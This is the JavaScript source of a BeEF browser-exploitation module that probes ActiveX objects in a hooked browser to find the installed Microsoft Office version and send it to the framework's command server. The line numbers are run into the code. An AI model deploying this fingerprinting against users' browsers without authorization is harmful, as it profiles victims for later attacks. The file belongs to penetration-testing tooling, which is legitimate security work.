Path: blob/master/modules/browser/detect_office/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {7var ma = 1;8var mb = 1;9var mc = 1;10var md = 1;11try {12ma = new ActiveXObject("SharePoint.OpenDocuments.4")13} catch (e) {}14try {15mb = new ActiveXObject("SharePoint.OpenDocuments.3")16} catch (e) {}17try {18mc = new ActiveXObject("SharePoint.OpenDocuments.2")19} catch (e) {}20try {21md = new ActiveXObject("SharePoint.OpenDocuments.1")22} catch (e) {}23var a = typeof ma;24var b = typeof mb;25var c = typeof mc;26var d = typeof md;27var key = "No Office Found";28if (a == "object" && b == "object" && c == "object" && d == "object") {29key = "Office 2010"30}31if (a == "number" && b == "object" && c == "object" && d == "object") {32key = "Office 2007"33}34if (a == "number" && b == "number" && c == "object" && d == "object") {35key = "Office 2003"36}37if (a == "number" && b == "number" && c == "number" && d == "object") {38key = "Office Xp"39}40beef.net.send("<%= @command_url %>", <%= @command_id %>, "office="+key);4142});43444546